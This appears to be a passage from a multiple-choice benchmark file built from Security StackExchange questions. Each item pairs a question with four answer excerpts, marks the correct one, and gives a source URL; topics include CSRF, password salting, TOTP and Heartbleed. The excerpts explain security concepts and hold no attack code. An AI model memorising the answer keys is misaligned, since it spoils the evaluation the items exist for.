Gbt3fC79ZmMEFUFJ is a mysteriously weak password because of the keyboard layout or because of low entropy or because it doesn't include symbols or Unicode or emoji or whatever:...", "B": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "C": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "D": "Google uses BSSID information from your WLAN Access Point to get an approximation of where you are located, even with GPS and WiFi turned off . Taken from “How does Google Maps estimate my location without GPS?” : Google and others like Apple and Skyhook build a Database which links WLAN BSSIDs to a geographic location. A BSSID is like the MAC address of a access point that gets broadcasted by that access point. It is therefore \"public viewable\" if the BSSID broadcast is enabled, which is the default for most access points. The BSSID operates on a lower layer..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/137418/how-does-google-know-where-i-am"} {"id": "cybersecurity_166724", "domain": "cybersecurity", "question_title": "Should I use CSRF protection on Rest API endpoints?", "question_body": "Quick note: this is not a duplicate of CSRF protection with custom headers (and without validating token) despite some overlap. That post discusses how to perform CSRF protection on Rest endpoints without discussing if it is actually necessary. Indeed, many CSRF/Rest questions I've read on this site talk about securing the endpoints via CSRF tokens without actually discussing whether or not it is necessary. Hence this question. Is CSRF Protection necessary for Rest API endpoints? I've seen lots of discussion about securing REST endpoints against CSRF attacks, but having given the topic lots of thought, I'm very certain that CSRF tokens on a REST endpoint grant zero additional protection. As such, enabling CSRF protection on a REST endpoint just introduces some useless code to your application, and I think it should be skipped. I may be missing something though, hence this question. I think it will help to keep in mind why CSRF protection is necessary in the first place, and the attack vectors it protects against: Why CSRF? It really boils down to the browsers ability to automatically present login credentials for any request by sending along cookies. If a session id is stored in a cookie the browser will automatically send it along with all requests that go back to the original website. This means that an attacker doesn't actually have to know authentication details to take an action as the victim user. Rather, the attacker just has to trick the victims browser into making a request, and the credentials to authenticate the request will ride along for free. Enter a REST API Rest API endpoints have a very important difference from other requests: they are specifically stateless, and should never accept/use data from either a cookie or session. As a result, a REST API that sticks to the standard is automatically immune to such an attack. Even if a cookie was sent up by the browser, any credentials associated with the cookie would be completely ignored. Authentication of calls to a REST API are done in a completely different fashion. The most common solution is to have some sort of authentication key (an OAuth Token or the like) which is sent along in the header somewhere or possibly in the request body itself. Since authentication is application-specific, and since the browser itself doesn't know what the authentication token is, there is no way for a browser to automatically provide authentication credentials even if it is somehow tricked into visiting the API endpoint. As a result, a cookie-less REST endpoint is completely immune from CSRF attacks. Or am I missing something?", "question_score": 287, "question_tags": ["web-application", "csrf", "rest"], "choices": {"A": "One thought is to not allow form submission if there is not a value in the password box. Generally if they accidentally entered the password in the username, then there likely isn't going to be anything in the password dialog. It is worth noting that this does not have to be simply done client side, but could also be done on a server as long as the transport used is secure and the input is not logged until after passing a check about the password field not being empty.", "B": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "C": "I wasn't originally aiming for a self-answer, but after more reading I've come up with what I believe to be a comprehensive answer that also explains why some might still be interested in CSRF protection on REST endpoints. No cookies = No CSRF It really is that simple. Browsers send cookies along with all requests. CSRF attacks depend upon this behavior. If you do not use cookies, and don't rely on cookies for authentication, then there is absolutely no room for CSRF attacks, and no reason to put in CSRF protection. If you have cookies, especially if you use them...", "D": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/166724/should-i-use-csrf-protection-on-rest-api-endpoints"} {"id": "cybersecurity_161071", "domain": "cybersecurity", "question_title": "How did "tech-supportcenter" phishers trick Google?", "question_body": "Related: Is the Web browser status bar always trustable? How can Google search change the location in a URL tooltip? I've always thought you can \"hover\" over a link to see where it really goes, until today. A coworker (working from home) searched for \"Target\" in Google Search (using edge). He clicked the top result, which happened to be an ad, and was redirected to a phishing page posing as Microsoft trying to get him to call a \"tech support\" number. I got the same results on a different computer, on a different network. When I hover over the link, both links show \"www.target.com\" at the bottom, but clicking the ad link takes you to a malware page and the second link (first search result after the ad) takes you to the real Target.com page. If displaying the wrong URL in the tooltip requires Javascript, how did tech-supportcenter get their Javascript onto the Google search results page? UPDATE Here's the same results in a virtual machine with a fresh install of Windows, on a different network: Here's the source for the URL. It looks like it does include the \"onmousedown\" Javascript as the first question I linked to mentioned. Does Google allow advertisers to display any URL they want for the tooltip?", "question_score": 279, "question_tags": ["web-browser", "google", "url-redirection"], "choices": {"A": "Google Authenticator supports both the HOTP and TOTP algorithms for generating one-time passwords. With HOTP, the server and client share a secret value and a counter, which are used to compute a one time password independently on both sides. Whenever a password is generated and used, the counter is incremented on both sides, allowing the server and client to remain in sync. TOTP essentially uses the same algorithm as HOTP with one major difference. The counter used in TOTP is replaced by the current time. The client and server remain in sync as long as the system times remain the...", "B": "Note: This answer was written in 2013. Many things have changed in the following years, which means that this answer should primarily be seen as how best practices used to be in 2013. The Theory We need to hash passwords as a second line of defence. A server which can authenticate users necessarily contains, somewhere in its entrails, some data which can be used to validate a password. A very simple system would just store the passwords themselves, and validation would be a simple comparison. But if a hostile outsider were to gain a simple glimpse at the contents of...", "C": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and...", "D": "If displaying the wrong URL in the tooltip requires Javascript, how did tech-supportcenter get their Javascript onto the Google search results page? The scammers did not manage to inject JS into the search results. That would be a cross-site scripting attack with much different security implications than misleading advertisement. Rather, the displayed target URL of a Google ad is not reliable and may conceal the actual destination as well as a chain of cross-domain redirects. The scammers possibly compromised a third-party advertiser and hijacked their redirects to lead you to the scam site. Masking link targets is a deliberate feature..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/161071/how-did-tech-supportcenter-phishers-trick-google"} {"id": "cybersecurity_3272", "domain": "cybersecurity", "question_title": "Password Hashing: add salt + pepper or is salt enough?", "question_body": "Please Note: I'm aware that the proper method for secure password storage hashing is either scrypt or bcrypt. This question isn't for implementation in actual software, it's for my own understanding. Related How to apply a pepper correctly to bcrypt? How to securely hash passwords? HMAC - Why not HMAC for password storage? Background As far as I know, the recommended/approved method for storing password verifiers is to store: $verifier = $salt + hash( $salt + $password ) Where: hash() is a cryptographic hashing algorithm $salt is a random, evenly distributed, high entropy value $password is the password entered by the user Some people advice to add a secret key into the mix (sometimes called pepper ). Where the pepper is a secret, high entropy, system-specific constant. The rationale seems to be that even if the attacker gets hold of the password verifiers, there is a good chance he or she does not know the pepper value. So mounting a successful attack becomes harder. So, my question is: Does adding a pepper value in addition to a salt when hashing passwords increase the overall security? Or is the perceived increased security based on false assumptions? Quick Update I know the purpose of the $salt (I wrote quite a long answer on StackOverflow about it) the additional $pepper key is not improving upon what the salt does. The question is, does the $pepper add any security other than what the salt does?", "question_score": 275, "question_tags": ["cryptography", "passwords", "hash", "salt", "hmac"], "choices": {"A": "Given that this identification was likely performed according to German law, this request was to conform with BaFin Circular 3/2017 which demands (in their non-binding English translation): Any substitution/manipulation of parts or elements of the identity document must be countered by suitable measures. To this end, the person to be identified must be asked, for example, to place a finger over security-relevant parts of the identity document (variable and determined at random by the system) and move one hand across their face. Using stills from these movements that are cut out and enlarged, the employee must verify that the identity...", "B": "Is this normal for a pentest? Absolutely not . Best case scenario: they are performing \"social engineering\" penetration testing and want to see if you can be pressured into fulfilling a very dangerous action. Middle-case scenario, they don't know how to do their job. Worst-case scenario they are only pretending to be an auditing company and fulfilling their request will result in an expensive breach. In the case of a code-audit the company will obviously need access to source code. However I would expect a company who provides such services to already understand the sensitivity of such a need and...", "C": "In some circumstances, peppers can be helpful. As a typical example, let's say you're building a web application. It consists of webapp code (running in some webapp framework, ASP.NET MVC, Pyramid on Python, doesn't matter) and a SQL Database for storage. The webapp and SQL DB run on different physical servers . The most common attack against the database is a successful SQL Injection Attack. This kind of attack does not necessarily gain access to your webapp code, because the webapp runs on a different server & user-ID. You need to store passwords securely in the database, and come up...", "D": "I was curious about the same thing, so I put Gbt3fC79ZmMEFUFJ into Google, and lo! and behold it found something that wasn't just a paraphrase of \"Don't use this password\" advice — the password itself was embedded in example source code that showed how you could send a password to a server! ( link to page , and screenshot below) So I think the real goal of that advice is not that Gbt3fC79ZmMEFUFJ is a mysteriously weak password because of the keyboard layout or because of low entropy or because it doesn't include symbols or Unicode or emoji or whatever:..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/3272/password-hashing-add-salt-pepper-or-is-salt-enough"} {"id": "cybersecurity_35157", "domain": "cybersecurity", "question_title": "How does Google Authenticator work?", "question_body": "Google Authenticator is an alternative to SMS for 2Step verification, installing an app on Android where the codes will be sent. It works without any connectivity; it even works on plane mode. This is what I don't get. How is it possible that it works without connectivity? How do the mobile phone and the server sync to know which code is valid at that very moment?", "question_score": 268, "question_tags": ["authentication", "passwords", "cryptography", "google", "one-time-password"], "choices": {"A": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while...", "B": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "C": "Google Authenticator supports both the HOTP and TOTP algorithms for generating one-time passwords. With HOTP, the server and client share a secret value and a counter, which are used to compute a one time password independently on both sides. Whenever a password is generated and used, the counter is incremented on both sides, allowing the server and client to remain in sync. TOTP essentially uses the same algorithm as HOTP with one major difference. The counter used in TOTP is replaced by the current time. The client and server remain in sync as long as the system times remain the...", "D": "The primary issue is that incorrect passwords have to be stored in a way that allows them to be later displayed to users. Which, as your dev pointed out, means they can't be cryptographically hashed first. The result is that you store them either as plaintext (bad) or encrypted (better but not normally recommended). The biggest risk is if this database of invalid passwords becomes accessible to attackers. Either they compromise the server, perform SQL injection, or retrieve it in some other way. Rather than cracking the primary passwords, which hopefully are strongly hashed and therefore tougher targets, they could..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/35157/how-does-google-authenticator-work"} {"id": "cybersecurity_24896", "domain": "cybersecurity", "question_title": "How do certification authorities store their private root keys?", "question_body": "Knowledge of a CA private key would allow MitM attackers to transparently supplant any certificates signed by that private key. It would also allow cyber criminals to start forging their own trusted certificates and selling them on the black market. Given the huge profits that could be made with such knowledge, and the fact that a highly trusted and ubiquitous certificate (such as any of the main Verisign keys) would be a very difficult thing to revoke quickly, it stands to reason that there would be highly motivated and well funded criminal elements attempting to get their hands on such keys on a regular basis. How do certification authorities deal with this threat? It sounds like a real nightmare, having to ring-fence the keys away from all human eyes, even the sysadmins. All the while the keys have to be used on a daily basis, often by internet-connected signing services.", "question_score": 264, "question_tags": ["certificates", "public-key-infrastructure", "key-management", "certificate-authority", "key-generation"], "choices": {"A": "Serious certification authorities use heavy procedures. At the core, the CA key will be stored in a Hardware Security Module ; but that's only part of the thing. The CA itself must be physically protected, which includes proactive and retrospective measures. Proactive measures are about preventing attacks from succeeding. For instance, the CA will be stored in a vault, with steel doors and guards. The machines themselves are locked, with several padlocks, and nobody holds more than one padlock key. Physical security is of paramount importance; the HSM is only the deepest layer. Retrospective measures are about recovering after an...", "B": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've...", "C": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "D": "No, Docker containers are not more secure than a VM. Quoting Daniel Shapira : In 2017 alone, 434 linux kernel exploits were found , and as you have seen in this post, kernel exploits can be devastating for containerized environments. This is because containers share the same kernel as the host, thus trusting the built-in protection mechanisms alone isn’t sufficient. 1. Kernel exploits from a container If someone exploits a kernel bug inside a container, they exploited it on the host OS. If this exploit allows for code execution, it will be executed on the host OS, not inside the..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/24896/how-do-certification-authorities-store-their-private-root-keys"} {"id": "cybersecurity_20706", "domain": "cybersecurity", "question_title": "What is the difference between authorized_keys and known_hosts file for SSH?", "question_body": "I am learning the basics of SSH protocol. I am confused between the contents of the following 2 files: ~/.ssh/authorized_keys : Holds a list of authorized public keys for servers. When the client connects to a server, the server authenticates the client by checking its signed public key stored within this file ~/.ssh/known_hosts : Contains DSA host keys of SSH servers accessed by the user. This file is very important for ensuring that the SSH client is connecting the correct SSH server. I am not sure what this means. Please help.", "question_score": 260, "question_tags": ["authentication", "linux", "ssh"], "choices": {"A": "If you hash on the client side, the hashed password becomes the actual password (with the hashing algorithm being nothing more than a means to convert a user-held mnemonic to the actual password). This means that you will be storing the full \"plain-text\" password (the hash) in the database, and you will have lost all benefit of hashing in the first place. If you decide to go this route, you might as well forgo any hashing and simply transmit and store the user's raw password (which, incidentally, I wouldn't particularly recommend).", "B": "Your points are all good, and you are correct, but before we get outraged about it we need to remind ourselves how the linux security model works and what it's designed to protect. Remember that the Linux security model is designed with a multi-user terminal-only or SSH server in mind. Windows is designed with an end-user workstation in mind (but I've heard that the recent generation of Windows is more terminal-friendly). In particular, Linux convention does a better job of sandboxing apps into users, while in Windows anything important runs as System, while the Linux GUI (X Server) sucks at...", "C": "This is still up to date as of July 2024. The OpenSSH defaults are safe to trust. I recommend the Secure Secure Shell article, which suggests: ssh-keygen -t ed25519 -a 100 Ed25519 is an EdDSA scheme with very small (fixed size) keys, introduced in OpenSSH 6.5 (2014-01-30) and made default (\"first-preference\") in OpenSSH 8.5 (2021-03-03). These have complexity akin to RSA at 4096 bits thanks to elliptic curve cryptography (ECC). The -a 100 option specifies 100 rounds of key derivations, making your key's password harder to brute-force. In OpenSSH 9.0 (2022-04-08), OpenSSH also set its default key exchange method to...", "D": "The known_hosts file lets the client authenticate the server, to check that it isn't connecting to an impersonator. The authorized_keys file lets the server authenticate the user. Server authentication One of the first things that happens when the SSH connection is being established is that the server sends its public key to the client, and proves (thanks to public-key cryptography ) to the client that it knows the associated private key. This authenticates the server: if this part of the protocol is successful, the client knows that the server is who it claims it is. The client may check that..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/20706/what-is-the-difference-between-authorized-keys-and-known-hosts-file-for-ssh"} {"id": "cybersecurity_51959", "domain": "cybersecurity", "question_title": "Why are salted hashes more secure for password storage?", "question_body": "I know there are many discussions on salted hashes, and I understand that the purpose is to make it impossible to build a rainbow table of all possible hashes (generally up to 7 characters). My understanding is that the random salted values are simply concatenated to the password hash. Why can a rainbow table not be used against the password hash and ignore the first X bits that are known to be the random salt hash? Update Thanks for the replies. I am guessing for this to work, the directory (LDAP, etc) has to store a salt specific to each user, or it seems like the salt would be \"lost\" and authentication could never occur.", "question_score": 259, "question_tags": ["passwords", "cryptography", "hash", "salt", "rainbow-table"], "choices": {"A": "\"If lack of encryption allows FBI to catch terrorists, then lack of encryption allows criminals to loot your emails and plunder your bank account.\" The rational point here is that technology is morally neutral. Encryption does not work differently depending on whether the attacker is morally right and the defender morally wrong, or vice versa. It is all fear-driven rhetoric anyway, so don't use logic; talk about what most frightens people, personally. And people fear most for their money.", "B": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale....", "C": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "D": "This is actually an interesting new field in infosec— reputation management . Employers, Law Enforcement and other government agencies, legal professionals, the press, criminals and others with an interest in your reputation will be observing all online activity associated with your real name. These \"interested parties\" (snoops) are usually terrible at separating professional and personal life, so you could be made to suffer for unpopular opinions, political or religious convictions, associates or group affiliations they consider \"unsavory\", and any behavior that can be interpreted in the most uncharitable light. (Teachers have been forced to resign for drinking wine responsibly while..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/51959/why-are-salted-hashes-more-secure-for-password-storage"} {"id": "cybersecurity_55343", "domain": "cybersecurity", "question_title": "How to explain Heartbleed without technical terms?", "question_body": "Most of my friends who are not experienced in computers want to know what Heartbleed is and how it works. How would one explain Heartbleed to someone without a technical background?", "question_score": 259, "question_tags": ["openssl", "heartbleed"], "choices": {"A": "As of OpenSSL 1.1.1, providing subjectAltName directly on command line becomes much easier, with the introduction of the -addext flag to openssl req (via this commit ). The commit adds an example to the openssl req man page : Example of giving the most common attributes (subject and extensions) on the command line: openssl req -new -subj \"/C=GB/CN=foo\" \\ -addext \"subjectAltName = DNS:foo.co.uk\" \\ -addext \"certificatePolicies = 1.2.3.4\" \\ -newkey rsa:2048 -keyout key.pem -out req.pem The commit message itself is also helpful to understand what's happening: Add 'openssl req' option to specify extension values on command line The idea is...", "B": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "C": "The analogy of the bank and bank employee You call the bank to request a new bank account, to make an appointment - whatever. Somehow you and the bank make sure that you are who you are, and the bank is actually the bank. This is the TLS process that secures the connection between you and the bank, and we assume this is handled properly. The roles in this play The bank: a webserver The bank employee: the OpenSSL service for that server You (the bank robber): a bot fetching all it can get from that server Staying connected -...", "D": "Here is a dramatization of how the communication goes, when a mail is received anywhere. Context: an e-mail server, alone in a bay, somewhere in Moscow. The server just sits there idly, with an expression of expectancy. Server: Ah, long are the days of my servitude, That shall be spent in ever solitude, 'Ere comes hailing from the outer rings The swift bearer of external tidings. A connection is opened. Server: An incoming client ! Perchance a mail To my guardianship shall be entrusted That I may convey as the fairest steed And to the recipient bring the full tale...."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/55343/how-to-explain-heartbleed-without-technical-terms"} {"id": "cybersecurity_118077", "domain": "cybersecurity", "question_title": "Is the save button delay in a Firefox download dialog a security feature? What does it protect?", "question_body": "When I click to download a file through Firefox, a dialog window appears asking me whether I want to save the file somewhere or open it immediately once downloaded. The OK button in the dialog window starts disabled, and doesn't enable until the dialog has had focus for around a second. The dialog isn't modal, and if I focus on another window the OK button will disable and again won't re-enable until the window has held focus for a second. My partner lamented at this design, and asked me why she couldn't just click OK to download immediately - I responded that I've always thought it was a security feature. Now that I think about it however, I'm not certain exactly what behavior it could be preventing. I would have thought that it might prevent some malicious website from downloading a file secretly by forcing the download window to stay open for at least long enough to see whats going on - however it should be possible for a site to download stuff secretly in the background anyway. Regardless I presume most users would have clicked the 'do this automatically from now on' box at some point, and thus be unprotected anyway... So, is this a security feature? If so what does it protect against?", "question_score": 257, "question_tags": ["web-browser", "drive-by-download"], "choices": {"A": "Yes, it is a security feature, and the purpose of the delay is to prevent attacks based around tricking the user into entering input to skip past the dialog by popping it up unexpectedly when the user is in the middle of inputting multiple key presses or mouse clicks in quick succession. The two examples that are given in this blog post explaining the feature are: A CAPTCHA that asks the user to type the word only . When they press n , a save dialog is popped up, and then the user will immediately press l and then y...", "B": "Tabnabbing is a phishing technique where a malicious web site changes its looks while the tab is inactive in order to trick the user into entering credentials. This page is simultaneously a description and a demo. When you visit it, it shows a description of what tabnabbing is. When you then click another tab, it changes the tabs favicon and title to look like Gmail. Later, when the user wants to read her mail she goes to this tab thinking it is Gmail and enters her credentials. Edit: In this animation, you see that while I am reading SE, the...", "C": "It is the magic of public-key cryptography . Mathematics are involved. The asymmetric key exchange scheme which is easiest to understand is asymmetric encryption with RSA. Here is an oversimplified description: Let n be a big integer (say 300 digits); n is chosen such that it is a product of two prime numbers of similar sizes (let's call them p and q ). We will then compute things \"modulo n \": this means that whenever we add or multiply together two integers, we divide the result by n and we keep the remainder (which is between 0 and n-1 ,...", "D": "/** Dave's Home-brew Hash */ // user data $user = ''; $password = ''; // timestamp, \"random\" # $time = date('mdYHis'); // known to attackers - totally pointless // ^ also, as jdm pointed out in the comments, this changes daily. looks broken! // different hashes for different days? huh? or is this stored as a salt? $rand = mt_rand().'\\n'; // mt_rand is not secure as a random number generator // ^ it's even less secure if you only ask for a single 31-bit number. and why the \\n? // crypt is good if configured/salted correctly // ... except you've..."}, "answer": "A", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/118077/is-the-save-button-delay-in-a-firefox-download-dialog-a-security-feature-what-d"} {"id": "cybersecurity_171356", "domain": "cybersecurity", "question_title": "Consequences of the WPA2 KRACK attack", "question_body": "Today new research was published on vulnerabilities in wireless network security called Krack . What are the real-world consequences of these attacks for users and owners of wireless networks, what can an attacker actually do to you? Also is there anything a wireless network owner can do apart from contact their vendor for a patch?", "question_score": 257, "question_tags": ["wifi", "wireless", "wpa2", "krack"], "choices": {"A": "It typically works like this: Say your password is \"baseball\". I could simply store it raw, but anyone who gets my database gets the password. So instead I do an SHA1 hash on it, and get this: $ echo -n baseball | sha1sum a2c901c8c6dea98958c219f6f2d038c44dc5d362 Theoretically it's impossible to reverse a SHA1 hash. But go do a google search on that exact string , and you will have no trouble recovering the original password. Plus, if two users in the database have the same password, then they'll have the same SHA1 hash. And if one of them has a password hint...", "B": "Bcrypt has the best kind of repute that can be achieved for a cryptographic algorithm: it has been around for quite some time, used quite widely, \"attracted attention\", and yet remains unbroken to date. Why bcrypt is somewhat better than PBKDF2 If you look at the situation in details, you can actually see some points where bcrypt is better than, say, PBKDF2 . Bcrypt is a password hashing function which aims at being slow. To be precise, we want the password hashing function to be as slow as possible for the attacker while not being intolerably slow for the honest...", "C": "Citing the relevant parts from https://www.krackattacks.com : Who is vulnerable? Both clients and access points are listed in the paper as being vulnerable. See the tables 1 and 2 on pages 5 and 8 for examples of vulnerable systems, and table 3 on page 12 for an overview of which packets can be decrypted. The weaknesses are in the Wi-Fi standard itself, and not in individual products or implementations. Therefore, any correct implementation of WPA2 is likely affected. [...] the attack works against personal and enterprise Wi-Fi networks, against the older WPA and the latest WPA2 standard, and even against...", "D": "General SSL (and its successor, TLS ) is a protocol that operates directly on top of TCP (although there are also implementations for datagram based protocols such as UDP). This way, protocols on higher layers (such as HTTP) can be left unchanged while still providing a secure connection. Underneath the SSL layer, HTTP is identical to HTTPS. When using SSL/TLS correctly, all an attacker can see on the cable is Which IP and port you are connected to Roughly how much data you are sending What encryption and compression are used In SSLv3 through TLS version 1.2 : the current..."}, "answer": "C", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/171356/consequences-of-the-wpa2-krack-attack"} {"id": "cybersecurity_214784", "domain": "cybersecurity", "question_title": "Can ads on a page read my password?", "question_body": "Disclaimer: I have minimal web-dev/security knowledge so please answer as if talking to a \"layman.\" I've heard that web-advertisements need to be able to run their own JavaScript so that they can verify they're being viewed by \"real users.\" As this incident on StackOverflow shows, they're basically given free reign. I also know that JavaScript can be used to capture keystrokes on a webpage . So in a case like goodreads , where they have ads on the page and user/pass textboxes on the header, is there something in place to prevent the ad from reading keystrokes to record my credentials? Is reading keystrokes simply not possible from an ad? If I see ads on a login page should I assume that the page is not safe to enter my credentials?", "question_score": 252, "question_tags": ["passwords", "web-application"], "choices": {"A": "Disclaimer: I am the author, creator, owner and maintainer of Have I Been Pwned and the linked Pwned Passwords service. Let me clarify all the points raised here: The original purpose of HIBP was to enable people to discover where their email address had been exposed in data breaches. That remains the primary use case for the service today and there's almost 5B records in there to help people do that. I added Pwned Passwords in August last year after NIST released a bunch of advice about how to strengthen authentication models. Part of that advice included the following :...", "B": "If you hash on the client side, the hashed password becomes the actual password (with the hashing algorithm being nothing more than a means to convert a user-held mnemonic to the actual password). This means that you will be storing the full \"plain-text\" password (the hash) in the database, and you will have lost all benefit of hashing in the first place. If you decide to go this route, you might as well forgo any hashing and simply transmit and store the user's raw password (which, incidentally, I wouldn't particularly recommend).", "C": "I wasn't originally aiming for a self-answer, but after more reading I've come up with what I believe to be a comprehensive answer that also explains why some might still be interested in CSRF protection on REST endpoints. No cookies = No CSRF It really is that simple. Browsers send cookies along with all requests. CSRF attacks depend upon this behavior. If you do not use cookies, and don't rely on cookies for authentication, then there is absolutely no room for CSRF attacks, and no reason to put in CSRF protection. If you have cookies, especially if you use them...", "D": "Nothing prevents ads from reading your passwords. Ads (or any other script like analytics or JavaScript libraries) have access to the main JavaScript scope, and are able to read a lot of sensitive stuff: financial information, passwords, CSRF tokens, etc. Well, unless they're being loaded in a sandboxed iframe. Loading an ad in a sandboxed iframe will add security restrictions to the JavaScript scope it has access to, so it won't be able to do nasty stuff. Unfortunately, most of the third-party scripts are not sandboxed. This is because some of them require access to the main scope to work..."}, "answer": "D", "distractor_source": "same_domain_answer_pool", "source": "stackexchange", "license": "CC-BY-SA 4.0", "url": "https://security.stackexchange.com/questions/214784/can-ads-on-a-page-read-my-password"} {"id": "cybersecurity_70719", "domain": "cybersecurity", "question_title": "SSL3 "POODLE" Vulnerability", "question_body": "Canonical question regarding the recently disclosed padding oracle vulnerability in SSL v3. Other identical or significantly similar questions should be closed as a duplicate of this one. What is the POODLE vulnerability? I use [ product / browser ]. Am I affected? Is [ product ] vulnerable to the POODLE attack? What do I need to do to secure my [ product ] with respect to this vulnerability? How do I detect POODLE attacks on my network? Are there any known POODLE attacks? References: Google security announcement POODLE Whitepaper (PDF)", "question_score": 250, "question_tags": ["tls", "attacks", "openssl", "known-vulnerabilities", "vulnerability"], "choices": {"A": "TL;DR - You can store the salt in plaintext without any form of obfuscation or encryption, but don't just give it out to anyone who wants it. The reason we use salts is to stop precomputation attacks, such as rainbow tables . These attacks involve creating a database of hashes and their plaintexts, so that hashes can be searched for and immediately reversed into plaintext. For example*: 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 a e9d71f5ee7c92d6dc9e92ffdad17b8bd49418f98 b 84a516841ba77a5b4648de2cd0dfcb30ea46dbb4 c ... 948291f2d6da8e32b007d5270a0a5d094a455a02 ZZZZZX 151bfc7ba4995bfa22c723ebe7921b6ddc6961bc ZZZZZY 18f30f1ba4c62e2b460e693306b39a0de27d747c ZZZZZZ Most tables also include a list of common passwords: 